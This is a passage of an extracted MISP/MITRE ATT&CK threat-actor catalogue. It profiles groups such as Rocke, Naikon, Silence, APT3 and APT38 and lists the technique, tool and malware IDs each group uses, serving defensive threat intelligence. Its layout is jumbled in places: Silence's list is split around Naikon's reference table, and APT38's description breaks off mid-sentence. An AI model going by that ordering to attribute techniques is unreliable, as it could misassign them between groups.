• uses: misp-galaxy:mitre-malware="Ragnar Locker - S0481" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-malware="PUNCHBUGGY - S0196" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Clear Windows Event Logs - T1070.001" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Domain Trust Discovery - T1482" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Asynchronous Procedure Call - T1055.004" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Web Service - T1102" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Token Impersonation/Theft - T1134.001" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation Event Subscription - T1546.003" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-tool="Nltest - S0359" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Tool - T1588.002" with estimative-language:likelihood-probability="almost-certain"
• similar: misp-galaxy:threat-actor="FIN8" with estimative-language:likelihood-probability="likely"
• uses: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Exploitation for Privilege Escalation - T1068" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-tool="Ping - S0097" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Data Encrypted for Impact - T1486" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Asymmetric Cryptography - T1573.002" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-malware="PUNCHTRACK - S0197" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1518.001" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Command Obfuscation - T1027.010" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"


- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"


- uses: misp-galaxy:mitre-attack-pattern="Malicious Link - T1204.001" with estimative-language:likelihood-probability="almost-certain"


- uses: misp-galaxy:mitre-tool="PsExec - S0029" with estimative-language:likelihood-probability="almost-certain"

---

**Table 6455. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/groups/G0061">https://attack.mitre.org/groups/G0061</a></td>
</tr>
<tr>
<td><a href="https://www.fireeye.com/blog/threat-research/2016/05/windows-zero-day-payment-cards.html">https://www.fireeye.com/blog/threat-research/2016/05/windows-zero-day-payment-cards.html</a></td>
</tr>
</tbody>
</table>

---

**Rocke - G0106**

[Rocke](https://attack.mitre.org/groups/G0106) is an alleged Chinese-speaking adversary whose primary objective appeared to be cryptojacking, or stealing victim system resources for the purposes of mining cryptocurrency. The name [Rocke](https://attack.mitre.org/groups/G0106) comes from the email address "rocke@live.cn" used to create the wallet which held collected cryptocurrency. Researchers have detected overlaps between [Rocke](https://attack.mitre.org/groups/G0106) and the Iron Cybercrime Group, though this attribution has not been confirmed.(Citation: Talos Rocke August 2018)

The tag is: misp-galaxy:mitre-intrusion-set="Rocke - G0106"

Rocke - G0106 is also known as:

- Rocke
Rocke - G0106 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Boot or Logon Initialization Scripts - T1037" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Rootkit - T1014" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Clear Linux or Mac System Logs - T1070.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="SSH - T1021.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Disable or Modify System Firewall - T1562.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Private Keys - T1552.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with
estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Unix Shell - T1059.004" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"


- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Compile After Delivery - T1027.004" with estimative-language:likelihood-probability="almost-certain"


- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"


- uses: misp-galaxy:mitre-attack-pattern="Network Service Discovery - T1046" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Hidden Files and Directories - T1564.001" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Dead Drop Resolver - T1102.001" with estimative-language:likelihood-probability="almost-certain"

Table 6456. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/groups/G0106">https://attack.mitre.org/groups/G0106</a></td>
</tr>
</tbody>
</table>

3328
**DragonOK - G0017**

[DragonOK](https://attack.mitre.org/groups/G0017) is a threat group that has targeted Japanese organizations with phishing emails. Due to overlapping TTPs, including similar custom tools, [DragonOK](https://attack.mitre.org/groups/G0017) is thought to have a direct or indirect relationship with the threat group [Moafee](https://attack.mitre.org/groups/G0002). (Citation: Operation Quantum Entanglement) It is known to use a variety of malware, including Sysget/HelloBridge, PlugX, PoisonIvy, FormerFirstRat, NFlog, and NewCT. (Citation: New DragonOK)

The tag is: `misp-galaxy:mitre-intrusion-set="DragonOK - G0017"

DragonOK - G0017 is also known as:

- DragonOK

View relationships graph

DragonOK - G0017 has relationships with:

- uses: `misp-galaxy:mitre-malware="PlugX - S0013"` with estimative-language:likelihood-probability="almost-certain"
- similar: `misp-galaxy:threat-actor="DragonOK"` with estimative-language:likelihood-probability="likely"

Table 6457. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/groups/G0017">https://attack.mitre.org/groups/G0017</a></td>
</tr>
</tbody>
</table>

**Orangeworm - G0071**

[Orangeworm](https://attack.mitre.org/groups/G0071) is a group that has targeted organizations in the healthcare sector in the United States, Europe, and Asia since at least 2015, likely for the purpose of corporate espionage.(Citation: Symantec Orangeworm April 2018)

The tag is: `misp-galaxy:mitre-intrusion-set="Orangeworm - G0071"

Orangeworm - G0071 is also known as:

- Orangeworm

View relationships graph
Orangeworm - G0071 has relationships with:

- uses: misp-galaxy:mitre-tool="Net - S0039" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="ipconfig - S0100" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="netstat - S0104" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="Systeminfo - S0096" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="cmd - S0106" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="route - S0103" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="Kwampirs - S0236" with estimative-language:likelihood-probability="almost-certain"

Table 6458. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/groups/G0071">https://attack.mitre.org/groups/G0071</a></td>
</tr>
<tr>
<td><a href="https://www.symantec.com/blogs/threat-intelligence/orangeworm-targets-healthcare-us-europe-asia">https://www.symantec.com/blogs/threat-intelligence/orangeworm-targets-healthcare-us-europe-asia</a></td>
</tr>
</tbody>
</table>

Whitefly - G0107

[Whitefly](https://attack.mitre.org/groups/G0107) is a cyber espionage group that has been operating since at least 2017. The group has targeted organizations based mostly in Singapore across a wide variety of sectors, and is primarily interested in stealing large amounts of sensitive information. The group has been linked to an attack against Singapore’s largest public health organization, SingHealth. (Citation: Symantec Whitefly March 2019)

The tag is: misp-galaxy:mitre-intrusion-set="Whitefly - G0107"

Whitefly - G0107 is also known as:

- Whitefly

View relationships graph
Whitefly - G0107 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="DLL Search Order Hijacking - T1574.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exploitation for Privilege Escalation - T1068" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 6459. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/groups/G0107">https://attack.mitre.org/groups/G0107</a></td>
</tr>
</tbody>
</table>

SideCopy - G1008

[SideCopy](https://attack.mitre.org/groups/G1008) is a Pakistani threat group that has primarily targeted South Asian countries, including Indian and Afghan government personnel, since at least 2019. [SideCopy](https://attack.mitre.org/groups/G1008)'s name comes from its infection chain that tries to mimic that of [Sidewinder](https://attack.mitre.org/groups/G0121), a suspected Indian threat group.(Citation: MalwareBytes SideCopy Dec 2021)

The tag is: misp-galaxy:mitre-intrusion-set="SideCopy - G1008"

SideCopy - G1008 is also known as:

- SideCopy

View relationships graph
SideCopy - G1008 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Upload Malware - T1608.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Mshta - T1218.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Location Discovery - T1614" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Domains - T1584.001" with estimative-language:likelihood-probability="almost-certain"

Table 6460. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

3332
Naikon - G0019

[Naikon](https://attack.mitre.org/groups/G0019) is assessed to be a state-sponsored cyber espionage group attributed to the Chinese People’s Liberation Army’s (PLA) Chengdu Military Region Second Technical Reconnaissance Bureau (Military Unit Cover Designator 78020).(Citation: CameraShy) Active since at least 2010, [Naikon](https://attack.mitre.org/groups/G0019) has primarily conducted operations against government, military, and civil organizations in Southeast Asia, as well as against international bodies such as the United Nations Development Programme (UNDP) and the Association of Southeast Asian Nations (ASEAN).(Citation: CameraShy)(Citation: Baumgartner Naikon 2015)

While [Naikon](https://attack.mitre.org/groups/G0019) shares some characteristics with [APT30](https://attack.mitre.org/groups/G0013), the two groups do not appear to be exact matches.(Citation: Baumgartner Golovkin Naikon 2015)

The tag is: `misp-galaxy:mitre-intrusion-set="Naikon - G0019"`

Naikon - G0019 is also known as:

- Naikon

View relationships graph

Naikon - G0019 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-malware="HDoor - S0061"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-tool="Net - S0039"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-malware="WinMM - S0059"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-malware="Nebulae - S0630"` with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-malware="RainyDay - S0629" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1566.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-tool="Tasklist - S0057" with estimative-language:likelihood-probability="almost-certain"

• similar: misp-galaxy:threat-actor="Naikon" with estimative-language:likelihood-probability="likely"

• uses: misp-galaxy:mitre-malware="SslMM - S0058" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-malware="Aria-body - S0456" with estimative-language:likelihood-probability="almost-certain"


• uses: misp-galaxy:mitre-tool="netsh - S0108" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Masquerade Task or Service - T1036.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-malware="Sys10 - S0060" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-tool="Systeminfo - S0096" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-malware="RARSTONE - S0055" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-tool="Ping - S0097" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Domain Accounts - T1078.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1518.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-tool="ftp - S0095" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Remote System Discovery - T1018" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Network Service Discovery - T1046" with estimative-language:likelihood-probability="almost-certain"
Silence - G0091

[Silence](https://attack.mitre.org/groups/G0091) is a financially motivated threat actor targeting financial institutions in different countries. The group was first seen in June 2016. Their main targets reside in Russia, Ukraine, Belarus, Azerbaijan, Poland and Kazakhstan. They compromised various banking systems, including the Russian Central Bank's Automated Workstation Client, ATMs, and card processing. (Citation: Cyber Forensicator Silence Jan 2019) (Citation: SecureList Silence Nov 2017)

The tag is: misp-galaxy:mitre-intrusion-set="Silence - G0091"

Silence - G0091 is also known as:

- Silence
- Whisper Spider

View relationships graph

Silence - G0091 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="JavaScript - T1059.007" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1566.001" with

Table 6461. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://cdn2.hubspot.net/hubfs/454298/Project_CAMERASHY_ThreatConnect_Copyright_2015.pdf">http://cdn2.hubspot.net/hubfs/454298/Project_CAMERASHY_ThreatConnect_Copyright_2015.pdf</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/groups/G0019">https://attack.mitre.org/groups/G0019</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/the-naikon-apt/69953/">https://securelist.com/the-naikon-apt/69953/</a></td>
</tr>
</tbody>
</table>
estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-tool="Empire - S0363" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Video Capture - T1125" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="Winexe - S0191" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Compiled HTML File - T1218.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Command Obfuscation - T1027.010" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="SDelete - S0195" with estimative-language:likelihood-probability="almost-certain"
Table 6462. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/groups/G0091">https://attack.mitre.org/groups/G0091</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/the-silence/83009/">https://securelist.com/the-silence/83009/</a></td>
</tr>
</tbody>
</table>

**APT3 - G0022**

[APT3](https://attack.mitre.org/groups/G0022) is a China-based threat group that researchers have attributed to China's Ministry of State Security.(Citation: FireEye Clandestine Wolf) This group is responsible for the campaigns known as Operation Clandestine Fox, Operation Clandestine Wolf, and Operation Double Tap.(Citation: FireEye Clandestine Wolf) As of June 2015, the group appears to have shifted from targeting primarily US victims to primarily political organizations in Hong Kong.(Citation: Symantec Buckeye)

In 2017, MITRE developed an APT3 Adversary Emulation Plan.(Citation: APT3 Adversary Emulation Plan)

The tag is: misp-galaxy:mitre-intrusion-set="APT3 - G0022"

APT3 - G0022 is also known as:

- APT3
- Gothic Panda
- Pirpi
- UPS Team
- Buckeye
- Threat Group-0110
APT3 - G0022 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Permission Groups Discovery - T1069" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Data Staging - T1074.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Account - T1087.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="RemoteCMD - S0166" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Credentials from Web Browsers - T1555.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="SHOTPUT - S0063" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Account - T1136.001" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-malware="PlugX - S0013" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="External Proxy - T1090.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Accessibility Features - T1546.008" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Credentials In Files - T1552.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Multi-Stage Channels - T1104" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over C2 Channel - T1041" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Account Manipulation - T1098" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Indicator Removal from Tools - T1027.005" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-tool="LaZagne - S0349" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Exploitation for Client Execution - T1203" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Non-Application Layer Protocol - T1095" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Domain Accounts - T1078.002" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-tool="schtasks - S0111" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Hidden Window - T1564.003" with estimative-language:likelihood-probability="almost-certain"

• similar: misp-galaxy:threat-actor="APT3" with estimative-language:likelihood-probability="likely"

• uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Software Packing - T1027.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Remote System Discovery - T1018" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="DLL Side-Loading - T1574.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Remote Desktop Protocol - T1021.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Malicious Link - T1204.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-malware="OSInfo - S0165" with estimative-language:likelihood-probability="almost-certain"

Table 6463. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/docs/APT3_Adversary_Emulation_Plan.pdf">https://attack.mitre.org/docs/APT3_Adversary_Emulation_Plan.pdf</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/groups/G0022">https://attack.mitre.org/groups/G0022</a></td>
</tr>
<tr>
<td><a href="https://www.fireeye.com/blog/threat-research/2015/06/operation-clandestine-wolf-adobe-flash-zero-day.html">https://www.fireeye.com/blog/threat-research/2015/06/operation-clandestine-wolf-adobe-flash-zero-day.html</a></td>
</tr>
</tbody>
</table>

**APT38 - G0082**

[APT38](https://attack.mitre.org/groups/G0082) is a North Korean state-sponsored threat group that specializes in financial cyber operations; it has been attributed to the Reconnaissance General
Active since at least 2014, APT38 (https://attack.mitre.org/groups/G0082) has targeted banks, financial institutions, casinos, cryptocurrency exchanges, SWIFT system endpoints, and ATMs in at least 38 countries worldwide. Significant operations include the 2016 Bank of Bangladesh heist, during which APT38 (https://attack.mitre.org/groups/G0082) stole $81 million, as well as attacks against Bancomext (2018) and Banco de Chile (2018); some of their attacks have been destructive. North Korean group definitions are known to have significant overlap, and some security researchers report all North Korean state-sponsored cyber activity under the name [Lazarus Group](https://attack.mitre.org/groups/G0032) instead of tracking clusters or subgroups.

The tag is: *misp-galaxy:mitre-intrusion-set="APT38 - G0082"

APT38 - G0082 is also known as:

- APT38
- NICKEL GLADSTONE
- BeagleBoyz
- Bluenoroff
- Stardust Chollima

View relationships graph

APT38 - G0082 has relationships with:

- uses: *misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"
- uses: *misp-galaxy:mitre-tool="Net - S0039" with estimative-language:likelihood-probability="almost-certain"
- uses: *misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"
- uses: *misp-galaxy:mitre-attack-pattern="Stored Data Manipulation - T1565.001" with estimative-language:likelihood-probability="almost-certain"
- uses: *misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Cron - T1053.003" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1566.001" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Clipboard Data - T1115" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Runtime Data Manipulation - T1565.003" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Network Share Discovery - T1135" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-malware="HOPLIGHT - S0376" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Timestomp - T1070.006" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Disable or Modify System Firewall - T1562.004" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-malware="DarkComet - S0334" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Web Shell - T1505.003" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Browser Information Discovery - T1217" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Clear Windows Event Logs - T1070.001" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Impair Command History Logging - T1562.003" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Tool - T1588.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Compiled HTML File - T1218.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Brute Force - T1110" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-tool="Mimikatz - S0002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Data Encrypted for Impact - T1486" with estimative-language:likelihood-probability="almost-certain"

